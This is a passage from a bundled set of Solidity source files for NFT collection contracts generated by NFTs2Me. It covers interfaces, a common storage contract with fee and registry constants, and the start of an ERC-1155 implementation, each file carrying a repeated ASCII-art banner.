* //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IN2MUpgradeable {\n function getERC721Implementation() external view returns (address);\n function getERC1155Implementation() external view returns (address);\n}\n" }, "contracts/interfaces/IN2MCrossFactory.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IN2MCrossFactory {\n function getN2MTreasuryAddress() external pure returns (address);\n function ownerOf(uint256 tokenId) external view returns (address);\n function strictOwnerOf(uint256 tokenId) external view returns (address);\n}\n" }, "contracts/interfaces/IN2MERC1155.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\";\nimport \"./IN2M_ERCCommon.sol\";\n\ninterface IN2MERC1155 is IERC1155MetadataURI, IN2M_ERCCommon {\n function supportsInterface(bytes4 interfaceId) external view override(IERC165, IERC165Upgradeable) returns (bool);\n function balanceOf(address owner) external view returns (uint256 balance);\n function totalSupply(uint256 id) external view returns (uint256);\n function exists(uint256 id) external view returns (bool);\n function getSupplies(uint256 startId, uint256 endId) external view returns (uint256[] memory supplies, uint256 blockNumber, uint256 blockTimestamp);\n}\n\n" }, "contracts/interfaces/IN2MERC721.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts/token/ERC721/IERC721.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol\";\nimport \"@openzeppelin/contracts/governance/utils/IVotes.sol\";\nimport \"./IN2M_ERCCommon.sol\";\n\ninterface IN2MERC721 is IERC721Metadata, IN2M_ERCCommon, IVotes {\n function name() external view override(IERC721Metadata, IN2M_ERCBase) returns (string memory);\n function tokenURI(uint256 tokenId) external view override(IERC721Metadata, IN2M_ERCBase) returns (string memory);\n function symbol() external view override(IERC721Metadata, IN2M_ERCBase) returns (string memory);\n function supportsInterface(bytes4 interfaceId) external view override(IERC165, IERC165Upgradeable) returns (bool);\n}\n\n" }, "contracts/interfaces/IOperatorFilterRegistry.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external view returns (bool);\n function codeHashOf(address addr) external view returns (bytes32);\n}" }, "contracts/interfaces/IReverseRegistrar.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IReverseRegistrar {\n function setDefaultResolver(address resolver) external;\n\n function claim(address owner) external returns (bytes32);\n\n function claimForAddr(\n address addr,\n address owner,\n address resolver\n ) external returns (bytes32);\n\n function claimWithResolver(address owner, address resolver)\n external\n returns (bytes32);\n\n function setName(string memory name) external returns (bytes32);\n\n function setNameForAddr(\n address addr,\n address owner,\n address resolver,\n string memory name\n ) external returns (bytes32);\n\n function node(address addr) external pure returns (bytes32);\n}" }, "contracts/N2MCommonStorage.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@nfts2me/contracts/interfaces/IN2M_ERCStorage.sol\";\nimport \"@nfts2me/contracts/interfaces/IN2MCrossFactory.sol\";\nimport \"@nfts2me/contracts/ownable/NFTOwnableUpgradeable.sol\";\nimport {IOperatorFilterRegistry} from \"@nfts2me/contracts/interfaces/IOperatorFilterRegistry.sol\";\nimport \"./N2MVersion.sol\";\n\n/// @title NFTs2Me.com Smart Contracts\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\nabstract contract N2MCommonStorage is\n NFTOwnableUpgradeable,\n IN2M_ERCStorage,\n N2MVersion\n{\n /// CONSTANTS\n address internal constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n address internal constant OPENSEA_CONDUIT = address(0x1E0049783F008A0085193E00003D00cd54003c71);\n address internal constant N2M_CONDUIT = address(0x88899DC0B84C6E726840e00DFb94ABc6248825eC);\n IOperatorFilterRegistry internal constant operatorFilterRegistry = IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n address internal constant N2M_PRESALE_SIGNER = address(0xC0ffee06CE3D6689305035601a055A96acd619c6);\n address internal constant N2M_TREASURY = address(0x955aF4de9Ca03f84c9462457D075aCABf1A8AfC8);\n uint256 internal constant N2M_FEE = 5_00;\n uint256 internal constant MAX_AFFILIATE_DISCOUNT = 100_00;\n uint256 internal constant MAX_AFFILIATE_PERCENTAGE = 100_00;\n uint256 internal constant NOT_ENTERED = 0;\n\n /// IMMUTABLE \n address payable internal immutable _factory;\n\n bytes32 internal _baseURICIDHash;\n bytes32 internal _placeholderImageCIDHash;\n bytes32 internal _contractURIMetadataCIDHash;\n\n mapping(address => uint256) internal _pendingAffiliateBalance;\n uint256 internal _pendingTotalAffiliatesBalance;\n\n RevenueAddress[] internal _revenueInfo;\n mapping(address => AffiliateInformation) internal _affiliatesInfo;\n\n uint256 internal _mintPrice;\n uint256 internal _withdrawnAmount;\n uint256 internal _reentrancyEntered;\n uint256 internal _dropDateTimestamp;\n uint256 internal _endDateTimestamp; \n\n mapping(address => uint256) internal _withdrawnERC20Amount;\n address internal _erc20PaymentAddress;\n\n mapping(address => RandomTicket) internal _randomTickets;\n mapping(bytes => uint256) internal _usedAmountSignature;\n mapping(uint256 => bool) internal _soulbound;\n mapping(uint256 => bytes32) internal _customURICIDHashes;\n\n uint32 internal _soldTokens;\n SalePhase internal _currentPhase;\n OperatorFilterStatus internal _operatorFilterStatus;\n MintingType internal _mintingType; \n uint16 internal _royaltyFee;\n uint16 internal _maxPerAddress; \n uint32 internal _collectionSize;\n bool internal _isERC20Payment;\n bool internal _soulboundCollection;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address payable factoryAddress) {\n _factory = factoryAddress;\n _disableInitializers();\n }\n\n /// @notice Returns the address of the current collection owner.\n function owner() public view override(NFTOwnableUpgradeable) returns (address collectionOwner) {\n try IN2MCrossFactory(_factory).ownerOf(uint256(uint160(address(this)))) returns (address ownerOf) {\n return ownerOf;\n } catch {}\n }\n\n function _strictOwner() internal view override(NFTOwnableUpgradeable) returns (address ownerStrictAddress) {\n try IN2MCrossFactory(_factory).strictOwnerOf(uint256(uint160(address(this)))) returns (address strictOwnerOf) {\n return strictOwnerOf;\n } catch {}\n }\n\n function _getN2MFeeAddress() internal view override(NFTOwnableUpgradeable) returns (address) {\n\n try IN2MCrossFactory(_factory).getN2MTreasuryAddress() returns (address n2mTreasuryAddress) {\n return n2mTreasuryAddress;\n } catch {\n return N2M_TREASURY;\n }\n } \n\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n if (_reentrancyEntered != 0) revert ReentrancyGuard();\n _reentrancyEntered = 1;\n }\n\n function _nonReentrantAfter() private {\n delete(_reentrancyEntered);\n } \n\n /// @notice Returns true if the metadata is fixed and immutable. If the metadata hasn't been fixed yet it will return false. Once fixed, it can't be changed by anyone.\n function isMetadataFixed() public view override returns (bool) {\n return (_baseURICIDHash != 0 || (_mintingType == MintingType.CUSTOM_URI));\n }\n\n}\n" }, "contracts/N2MERC1155.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol\";\n\nimport \"./N2MTokenCommon.sol\";\n\n/// @title NFTs2Me.com Smart Contracts for ERC-1155.\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\ncontract N2MERC1155 is\n N2MTokenCommon,\n ERC1155Upgradeable,\n ERC1155SupplyUpgradeable\n{\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address libraryAddress, address payable factoryAddress) N2MTokenCommon(libraryAddress, factoryAddress) {}\n\n string private _name;\n string public override symbol;\n\n mapping(address => uint256) private _balances;\n\n /// @notice To be called to create the collection. Can only be called once.\n function initialize(\n string memory tokenName,\n string memory tokenSymbol,\n uint256 iMintPrice,\n bytes32 baseURICIDHash,\n bytes32 placeholderImageCIDHash,\n RevenueAddress[] calldata revenueAddresses,\n address iErc20PaymentAddress,\n uint32 iTotalSupply,\n uint16 iRoyaltyFee,\n bool soulboundCollection,\n MintingType iMintingType\n ) public payable override initializer {\n\n _name = tokenName;\n symbol = tokenSymbol;\n\n if (iTotalSupply == 0) revert TotalSupplyMustBeGreaterThanZero();\n if (baseURICIDHash != 0 && placeholderImageCIDHash != 0) revert CantSetBaseURIAndPlaceholderAtTheSameTime();\n if (iRoyaltyFee > 10_00) revert RoyaltyFeeTooHigh();\n\n _collectionSize = iTotalSupply;\n if (baseURICIDHash == 0) {\n if (placeholderImageCIDHash == 0) {\n if (iMintingType != MintingType.CUSTOM_URI)\n revert NoBaseURINorPlaceholderSet();\n } else {\n _placeholderImageCIDHash = placeholderImageCIDHash;\n }\n } else {\n _baseURICIDHash = baseURICIDHash;\n }\n\n _mintPrice = iMintPrice;\n _royaltyFee = iRoyaltyFee;\n if (iMintingType != MintingType.SEQUENTIAL) {\n _mintingType = iMintingType;\n }\n if (iErc20PaymentAddress != address(0)) {\n _isERC20Payment = true;\n _erc20PaymentAddress = iErc20PaymentAddress;\n }\n if (soulboundCollection == true) {\n _soulboundCollection = true;\n }\n\n if (revenueAddresses.length > 0) {\n uint256 revenuePercentageTotal;\n for (uint256 i; i < revenueAddresses.length; ) {\n revenuePercentageTotal += revenueAddresses[i].percentage;\n unchecked {\n ++i;\n }\n }\n _revenueInfo = revenueAddresses;\n if (revenuePercentageTotal > 100_00 - N2M_FEE) revert InvalidRevenuePercentage();\n }\n\n }\n\n /// @notice alias for `uri`\n function tokenURI(uint256 tokenId)\n public\n view\n override\n returns (string memory)\n {\n return uri(tokenId);\n }\n\n /// @notice tokenURI of the given token\n /// @param tokenId of the token to ask for\n /// @return tokenURI for `tokenId`\n function uri(uint256 tokenId)\n public\n view\n override(ERC1155Upgradeable)\n returns (string memory)\n {\n return IN2MLibrary(address(this)).tokenURIImpl(tokenId);\n }\n\n function _exists(uint256 tokenId) internal view override returns (bool) {\n return exists(tokenId);\n }\n\n function _mint(address to, uint256 tokenId) internal override {\n super._mint(to, tokenId, 1, \"\");\n }\n\n /// @notice Collection name\n /// @return the collection name\n function name() public view override returns (string memory) {\n return _name;\n }\n\n /// @notice Balance of a given address for ERC-1155 (non-standard).\n /// @param owner to ask for the balance\n /// @return balance of the `owner`\n function balanceOf(address owner) public view override returns (uint256 balance) {\n if (owner == address(0)) revert();\n balance = _balances[owner];\n if (_mintingType == MintingType.RANDOM) {\n balance += _randomTickets[owner].amount;\n }\n }\n\n function _mintSequential(address to, uint256 amount) internal override {\n if (amount == 1) {\n unchecked {\n _mint(to, ++_soldTokens, 1, \"\");\n }\n } else {\n uint256[] memory ids = new uint256[](amount);\n uint256[] memory amounts = new uint256[](amount);\n\n for (uint256 i; i < amount; ) {\n unchecked {\n ids[i] = ++_soldTokens;\n amounts[i] = 1;\n ++i;\n }\n }\n\n _mintBatch(to, ids, amounts, \"\");\n }\n }\n\n function _mintSpecify(address to, uint256[] memory tokenIds)\n internal\n override\n {\n uint32 amount = uint32(tokenIds.length);\n _soldTokens += amount;\n uint256[] memory amounts = new 